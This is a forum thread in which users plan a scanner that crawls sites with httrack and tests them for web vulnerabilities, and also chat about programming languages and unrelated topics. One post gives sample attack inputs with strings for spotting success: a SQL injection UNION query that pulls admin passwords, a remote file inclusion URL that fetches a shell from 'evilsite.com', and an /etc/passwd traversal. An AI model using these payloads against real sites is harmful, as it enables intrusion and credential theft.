Waraxe IT Security Portal

murdock · Advanced user

I'm finding a way to use this tool to fetch only the urls and put them into a text file without downloading the pages. I 'm reading the source code of the library, but it's in C and....I'm a little lost in C languange Crying or Very sad

. I will try to use the compiled command line version of httrack in my project, yes, I know, it's too lame, but I'm a VB/Delphi programmer (auto-learned), and a poor C programmer (I'm studying Computer Science, but my f*cking university seems to give more priority to maths learning than C programming learning). And the biggest problem is that I have absolutly NO IDEA of GUIs programming in VisualC++, and I need a GUI for making treeviews and itemlists Sad

y3dips · Valuable expert

yes, that the point, just save all url cache by httrack Smile

n use it for your own sake
yes again, it was written in C ..
even my project will be written in PERL but i trying to understand it n do some porting Sad

(if i cant, manybe i just like you, USING compiled command line version Laughing

)

safe more time for your research , even it not easy to be implemented with our program n will decrease our program time during the 'compiled' program that we use (if we dont implement the source)

Wink

shai-tan · Valuable expert

Yeah sex = 16
beer = 18 (but nobody listens to that)
Full drivers license = 16 and a half
Smoking = 18 (but nobody cares)

Yeah we have lots of fun.

y3dips · Valuable expert

murdock · Advanced user

Shai-tan: It's like where i live, in Spain, with the difference that here sex it's at 15 years and driving at 18.

Y3dips, I have a question for you:
I read the help in the command line version of httrack but it's in complicated english for me and I didn't find how to use the parameters to get what I want, any ideas? Thanks

shai-tan · Valuable expert

And I can do all those things while on the net. Well except drive.

dairy123 · Beginner

murdock · Advanced user

Yes dairy123! That's it!
But It will be more simple, imagine a form with 2 textboxs:

-Textbox to insert what to test with the php variable:
Example: "-1/**/UNION/**/SELECT/**/0,0,aid,pwd,0,0,0,0,0,0,0,0/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*"
(for a SQL Injection)
Or: "http://evilsite.com/shell.php?cmd=ls"
(for a RFI test)
Or: "../../../../../../etc/passwd"
(for directory transversal test)

-Textbox to insert the "pattern" too see if the exploit worked:
Example:
"SQL"
(if the returned page has a SQL Query error, it will contain the word "SQL" in the html code, so the exploit worked)
Or: "Infektion Shell"
(if the RFI worked, the returned page should contain the title of the php shell, so the exploit worked)
Or: "root:"
(if the directory transversal worked, "root:" should appear in returnet page!)

These textbox will be free to change but i'm planning to add some list of pre-defined ones with the typical exploits like the 3 examples I said. And add also the option to load a pre-defined one from a file (maybe from a .ini file?).

This will make the tool ready to add more exploit tricks easily.

Note: I have problems with httrack (commented in my previous post), anyone can help me? thanks!

y3dips · Valuable expert

murdock · Advanced user

I planned to use VB first for GUI reasons, but I think I will change, what language do you use y3dips?

shai-tan · Valuable expert

If I were you I wouldnt use VB Id use PB Pure Basic. Download the Gambas gzip for Linux, compile and use that.

y3dips · Valuable expert

shai-tan · Valuable expert

Basic really is for those starting to program. We are lucky we have languages like PHP. I dont like Perl at all. I really like python though. Rather easy. I havent had experience in much programming besides php.

erg0t · Valuable expert

In windows you can do GUI very easy, you can do it in C even in assembler, only using resources. You get a resource editor, then you make the GUI in a visual form, save de file, and then when you are going to link the program you make de resource file in.
Smile